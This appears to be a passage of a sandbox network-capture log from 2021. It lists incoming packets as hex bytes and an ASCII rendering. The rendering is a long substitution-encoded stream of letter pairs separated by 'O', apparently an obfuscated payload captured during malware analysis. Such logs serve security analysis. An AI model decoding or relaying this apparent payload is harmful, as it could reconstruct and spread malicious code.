qqO O mE O mE O WE O XE O qOD O XM O EE O WO
2021-10-29 15:55:26 UTC	660	IN	Data Raw: 71 20 4f 20 71 71 57 20 4f 20 45 70 20 4f 20 4d 4f 20 4f 20 71 4f 44 20 4f 20 71 71 44 20 4f 20 45 45 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 6d 4d 20 4f 20 44 44 20 4f 20 58 45 20 4f 20 4d 58 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 71 4f 70 20 4f 20 71 4a 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 71 4f 20 4f 20 44 58 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 45 70 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 58 71 20 4f Data Ascii: q O qqW O Ep O MO O qOD O qqD O EE O Em O DW O XJ O mM O DD O XE O MX O EJ O DW O EO O WD O DW O Xq O DM O DD O qOM O qOp O qJJ O qOp O DW O qOO O qOq O qqO O DX O ME O DW O Xq O DD O DW O DW O DX O mE O qOO O DE O Xq O Ep O ME O qOp O DX O mE O EO O Xq O
2021-10-29 15:55:26 UTC	676	IN	Data Raw: 4f 20 71 71 58 20 4f 20 71 71 4d 20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20 45 57 20 4f 20 45 44 20 4f 20 57 44 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 57 4f 20 4f 20 71 4f 4a 20 4f 20 71 4f 6d 20 4f 20 4d 45 20 4f 20 45 58 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 71 4f 44 20 4f 20 58 71 20 4f 20 58 4a 20 4f 20 45 44 20 4f 20 58 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 45 4d 20 4f 20 71 4f 6d 20 4f 20 71 4f 4f 20 4f 20 58 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 58 71 20 4f 20 71 4f 70 20 4f 20 57 44 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 6d 58 20 4f 20 58 57 20 4f 20 45 70 20 4f 20 4d 4f 20 4f 20 71 71 71 20 4f Data Ascii: O qqX O qqM O qOJ O qOp O EW O ED O WD O Ep O XX O WO O qOJ O qOm O ME O EX O DD O DX O MO O Xq O qOD O Xq O XJ O ED O XW O XO O WE O mM O DE O EM O qOm O qOO O XX O qOp O DW O DW O qOW O mM O XW O Xq O qOp O WD O Xq O EE O qOW O mX O XW O Ep O MO O qqq O
2021-10-29 15:55:26 UTC	692	IN	Data Raw: 57 44 20 4f 20 58 44 20 4f 20 44 58 20 4f 20 45 45 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 58 20 4f 20 71 71 4d 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 58 58 20 4f 20 71 71 4d 20 4f 20 58 57 20 4f 20 45 4f 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 58 4a 20 4f 20 71 4f 71 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 58 44 20 4f 20 71 71 58 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 71 6d 20 4f 20 45 45 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 44 45 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 58 58 20 4f 20 71 71 4d 20 4f 20 58 57 20 4f 20 45 4f 20 4f 20 58 4d 20 Data Ascii: WD O XD O DX O EE O Em O DW O DW O Ep O qqX O qqM O qOD O XW O XX O qqM O XW O EO O qOJ O mE O EO O MX O qOD O DD O Xq O DW O DE O EX O XJ O qOq O DD O Xq O XD O qqX O WD O XD O qqm O EE O EO O DW O DW O Eq O qqq O DE O qOD O XW O XX O qqM O XW O EO O XM
2021-10-29 15:55:26 UTC	708	IN	Data Raw: 20 4f 20 71 4f 58 20 4f 20 44 4d 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 45 57 20 4f 20 45 44 20 4f 20 44 58 20 4f 20 71 4f 4d 20 4f 20 4d 45 20 4f 20 45 6d 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 45 4f 20 4f 20 71 4f 4a 20 4f 20 45 4d 20 4f 20 57 4f 20 4f 20 45 44 20 4f 20 71 4a 4f 20 4f 20 71 4f 58 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 71 4f 57 20 4f 20 71 71 4d 20 4f 20 4d 45 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 71 71 58 20 4f 20 57 44 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 71 71 4d 20 4f 20 71 4f 57 20 4f 20 45 44 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 71 4f 45 20 4f 20 44 44 20 Data Ascii: O qOX O DM O qOp O Xq O EW O ED O DX O qOM O ME O Em O EJ O Ep O EO O DW O qOp O mE O qOp O EO O qOJ O EM O WO O ED O qJO O qOX O qqX O DX O qOW O qqM O ME O ED O qJJ O qqX O WD O Xq O qOW O qqM O qOW O ED O XJ O qOp O Xq O XO O qqm O mX O Xq O qOE O DD
2021-10-29 15:55:26 UTC	724	IN	Data Raw: 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 58 45 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 4d 58 20 4f 20 71 71 71 20 4f 20 44 45 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 71 4f 20 4f 20 57 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 58 44 20 4f 20 57 4a 20 4f 20 6d 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 57 20 4f 20 57 70 20 4f 20 58 6d 20 4f 20 57 6d 20 4f 20 45 58 20 4f 20 58 6d 20 4f 20 57 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45 44 20 Data Ascii: O DW O mE O WW O ME O qOp O DW O qOp O DW O DW O mE O qJO O XE O XM O qqM O XW O DW O DW O qOW O WD O MX O qqq O DE O qqM O DM O DW O DW O EM O qqO O WE O DW O DW O DW O DW O EM O XD O WJ O mX O qOJ O qOW O Wp O Xm O Wm O EX O Xm O WO O mE O mE O mp O ED
2021-10-29 15:55:26 UTC	740	IN	Data Raw: 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 44 45 20 4f 20 45 44 20 4f 20 71 4f 4a 20 4f 20 58 71 20 4f 20 71 4a 4f 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 58 20 4f 20 57 44 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 71 44 20 4f 20 71 71 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 57 45 20 4f 20 58 71 20 4f 20 45 58 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 71 71 70 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 58 6d 20 4f 20 71 71 71 20 4f 20 45 57 20 4f 20 58 6d 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 57 20 4f 20 45 4a 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 71 4f 20 4f 20 6d 45 20 Data Ascii: O qOJ O qOJ O DE O ED O qOJ O Xq O qJO O XX O mE O Wq O XX O WD O qOW O WD O qqD O qqp O DD O qqX O WE O Xq O EX O Ep O WO O EO O qqp O XO O WW O mE O mE O mM O DX O mE O qOO O qOq O Xm O qqq O EW O Xm O XW O DW O DW O Ep O qqW O EJ O XE O XD O qqO O mE
2021-10-29 15:55:26 UTC	756	IN	Data Raw: 4f 20 6d 58 20 4f 20 71 71 71 20 4f 20 6d 45 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 4d 45 20 4f 20 45 4d 20 4f 20 71 4f 44 20 4f 20 58 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 45 44 20 4f 20 71 71 4d 20 4f 20 6d 70 20 4f 20 71 4f 57 20 4f 20 45 6d 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 71 4f 6d 20 4f 20 4d 4f 20 4f 20 71 71 58 20 4f 20 71 71 58 20 4f 20 71 4a 4a 20 4f 20 58 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 71 4a 4a 20 4f 20 71 4a 4a 20 4f 20 71 71 4a 20 4f 20 Data Ascii: O mX O qqq O mE O qOE O DW O DW O DW O EJ O Xq O XO O ME O EM O qOD O Xp O Xq O DW O DX O mE O qOO O Xq O qOW O ED O qqM O mp O qOW O Em O WD O qOJ O mE O mE O ME O qOp O qOm O MO O qqX O qqX O qJJ O Xp O Xq O DW O DE O EX O qOJ O qOO O qJJ O qJJ O qqJ O
2021-10-29 15:55:26 UTC	772	IN	Data Raw: 70 20 4f 20 58 4f 20 4f 20 45 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4f 70 20 4f 20 71 4f 45 20 4f 20 71 4a 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 58 20 4f 20 57 4a 20 4f 20 71 71 58 20 4f 20 45 71 20 4f 20 58 45 20 4f 20 57 44 20 4f 20 71 71 4f 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 71 71 45 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 4d 45 20 4f 20 44 45 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 6d 4d 20 Data Ascii: p O XO O Ep O mE O mp O qOp O qOE O qJq O mE O mE O mE O XX O WJ O qqX O Eq O XE O WD O qqO O DX O XD O XM O qqX O qqW O qqE O DE O qOp O qOM O DW O DW O DX O qqq O ME O DE O qqq O DW O DW O Ep O qqD O EO O DX O DE O mX O Xq O DW O Xq O DW O DW O XW O mM
2021-10-29 15:55:26 UTC	788	IN	Data Raw: 4f 45 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 44 4d 20 4f 20 45 6d 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 45 6d 20 4f 20 71 4f 6d 20 4f 20 44 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 58 71 20 4f 20 71 4f 45 20 4f 20 45 57 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4a 4a 20 4f 20 71 71 71 20 4f 20 57 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 57 4a 20 4f 20 58 6d 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 Data Ascii: OE O XO O DW O Ep O DW O DW O Ep O qqD O DM O Em O DD O qJq O Em O qOm O DE O XJ O DW O DW O qOp O DW O DW O qOD O XW O Xq O qOE O EW O EO O DX O mE O qOO O Xq O qJJ O qqq O WE O Xq O DW O DW O DW O Ep O XX O DW O DX O WJ O Xm O XM O DW O DW O DW O DW O X
2021-10-29 15:55:26 UTC	804	IN	Data Raw: 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 57 4f 20 4f 20 71 4f 6d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 71 71 71 20 4f 20 45 57 20 4f 20 58 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 4d 20 4f 20 45 4d 20 4f 20 71 4f 6d 20 4f 20 4d 58 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 57 44 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 58 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 57 45 20 Data Ascii: O EO O DX O qqq O WO O qOm O Xq O DW O DW O Ep O XO O DM O DX O XO O WE O mM O EO O Ep O WO O EO O DW O XO O WW O mE O mE O WO O qqq O EW O XW O XO O WE O mM O DM O EM O qOm O MX O EO O Xq O DW O DW O qOp O WD O Xq O EE O XW O XO O WE O mM O DX O XO O WE
2021-10-29 15:55:26 UTC	820	IN	Data Raw: 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 57 70 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 4d 4f 20 4f 20 57 71 20 4f 20 71 4f 70 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 45 6d 20 4f 20 6d 58 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 71 4a 4f 20 4f 20 44 57 20 4f 20 71 4a 4f 20 4f 20 58 6d 20 4f 20 58 44 20 4f 20 57 4a 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 4a 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4a 4a Data Ascii: O WO O EO O Wp O XO O qqm O mp O mE O mM O EX O Xq O qOW O MO O Wq O qOp O mp O qqX O WW O mE O Wm O Em O mX O ED O DW O DW O DE O DX O qJO O DW O qJO O Xm O XD O WJ O WO O EO O WJ O XO O qqm O mp O mE O mM O DX O mE O qOO O XJ O Xm O mE O qOO O Xq O qJJ
2021-10-29 15:55:26 UTC	836	IN	Data Raw: 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 58 44 20 4f 20 57 4a 20 4f 20 45 45 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 6d 58 20 4f 20 44 58 20 4f 20 58 45 20 4f 20 71 4f 6d 20 4f 20 6d 58 20 4f 20 57 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 6d 70 20 4f 20 71 4f 6d 20 4f 20 45 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 4f 45 20 4f 20 57 70 20 4f 20 58 58 20 4f 20 71 4f 4a 20 4f 20 71 4a 4f 20 4f 20 6d 58 20 4f 20 44 58 20 4f 20 58 45 20 4f 20 71 4f 57 20 4f 20 58 71 20 4f 20 6d 58 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 6d 70 20 4f 20 71 4f 70 20 4f 20 57 44 Data Ascii: O qOp O DW O qOp O DW O DW O EM O XD O WJ O EE O XE O XD O qOX O mX O DX O XE O qOm O mX O Wq O DM O DW O DW O XD O mp O qOm O EM O DW O qOp O DW O DW O XE O XD O qOE O Wp O XX O qOJ O qJO O mX O DX O XE O qOW O Xq O mX O XW O DW O DW O XD O mp O qOp O WD
2021-10-29 15:55:26 UTC	852	IN	Data Raw: 44 57 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 45 4d 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 57 57 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 4a 20 4f 20 45 4d 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 57 57 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 71 71 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 71 6d 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 4d 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 Data Ascii: DW O DW O Xp O EM O XM O DW O DW O EO O WW O qOM O DW O DW O DD O qqW O Wp O qOp O DW O DW O qOJ O EM O XM O DW O DW O Ep O WW O qOM O DW O DW O DE O qOM O Wp O qOp O DW O DW O qqE O qqE O XM O DW O DW O EE O qqm O qOM O DW O DW O DX O MM O Wp O qOp O DW
2021-10-29 15:55:26 UTC	868	IN	Data Raw: 57 20 4f 20 44 4d 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 Data Ascii: W O DM O MM O DW O Xp O DW O DD O DM O DW O EO O DW O DW O Xp O Xq O DD O DD O DW O EO O MM O DW O Xq O Xq O DD O Xp O DW O DM O XW O DW O DW O DW O DW O DW O DW O EO O WD O DW O XX O qqM O DD O DX O DW O DM O WD O DW O Xm O Xq O DD O Xq O DW O DM O DM O
2021-10-29 15:55:26 UTC	884	IN	Data Raw: 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f Data Ascii: W O DD O XW O DW O DM O Xq O DW O Ep O DW O DD O Ep O DW O EO O Xq O DW O Xm O Xq O DD O EE O DW O DE O DW O DW O EE O qqM O DW O qqE O DW O DX O Ep O DW O Ep O DW O DD O Eq O DW O Eq O qOE O DW O MX O qOp O DD O qOm O DW O Eq O qqM O DW O ED O qqM O DW O
2021-10-29 15:55:26 UTC	900	IN	Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f Data Ascii: DW O DW O DW O DW O DW O DW O EO O qqM O DW O XD O qOp O DD O qOm O DW O EJ O Ep O DW O XJ O qOp O DD O qqJ O DW O Eq O qqM O DW O MO O Xq O DD O Em O DW O Eq O WJ O DW O MO O qOp O DD O qqX O DW O EO O qqM O DW O XD O DW O DD O qJq O DW O Eq O DM O DW O
2021-10-29 15:55:26 UTC	916	IN	Data Raw: 44 20 4f 20 71 4a 4a 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 45 6d 20 4f 20 71 4f 58 20 4f 20 58 4d 20 4f 20 58 45 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f 20 57 45 20 4f 20 71 4f 44 20 4f 20 4d 4f 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 4a 4a 20 4f 20 58 6d 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 71 44 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 45 6d 20 4f 20 57 70 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 44 4d 20 4f 20 44 44 20 4f 20 58 4a 20 4f 20 57 4f 20 4f 20 58 44 20 4f 20 6d 58 20 4f 20 58 57 20 4f 20 45 4a 20 4f 20 45 6d 20 4f 20 71 71 58 20 4f 20 58 4d 20 4f 20 57 4f 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 4d 4d 20 4f 20 6d 58 20 4f 20 45 4f 20 4f 20 71 Data Ascii: D O qJJ O MM O qqM O DE O WJ O DW O qOX O Em O qOX O XM O XE O XJ O Xq O MM O qOM O WE O qOD O MO O XX O EX O qJJ O Xm O XE O XD O qqD O MX O Wq O Em O Wp O DW O EW O DM O DD O XJ O WO O XD O mX O XW O EJ O Em O qqX O XM O WO O XD O qJJ O MM O mX O EO O q
2021-10-29 15:55:26 UTC	932	IN	Data Raw: 71 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 45 4a 20 4f 20 45 6d 20 4f 20 71 4f 6d 20 4f 20 4d 4f 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 6d 4d 20 4f 20 4d 4f 20 4f 20 58 58 20 4f 20 45 6d 20 4f 20 57 70 20 4f 20 58 4a 20 4f 20 71 4f 4d 20 4f 20 71 4f 58 20 4f 20 71 71 57 20 4f 20 4d 4f 20 4f 20 58 44 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 57 4f 20 4f 20 71 4f 6d 20 4f 20 71 4f 58 20 4f 20 4d 58 20 4f 20 45 71 20 4f 20 71 4a 4f 20 4f 20 45 4f 20 4f 20 71 4f 71 20 4f 20 45 71 20 4f 20 58 44 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 58 58 20 4f 20 58 4a 20 4f 20 71 4f 58 20 4f 20 58 4a 20 4f 20 58 58 20 Data Ascii: q O XD O qJJ O DW O DE O EE O DW O XJ O EJ O Em O qOm O MO O mM O EO O mM O MO O XX O Em O Wp O XJ O qOM O qOX O qqW O MO O XD O MM O DW O DW O DW O qqq O DD O XW O WO O qOm O qOX O MX O Eq O qJO O EO O qOq O Eq O XD O qOD O qOO O XX O XJ O qOX O XJ O XX
2021-10-29 15:55:26 UTC	948	IN	Data Raw: 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 4f 70 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 71 4f 70 20 4f Data Ascii: W O DW O Xq O DW O DW O DW O DW O DW O DW O DW O DM O DW O DE O Xq O Xq O DW O DW O EE O qOp O Eq O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O Xq O DW O DW O DW O DW O DW O DW O DW O DM O DW O DE O Xq O Xq O DW O DW O EX O qOp O
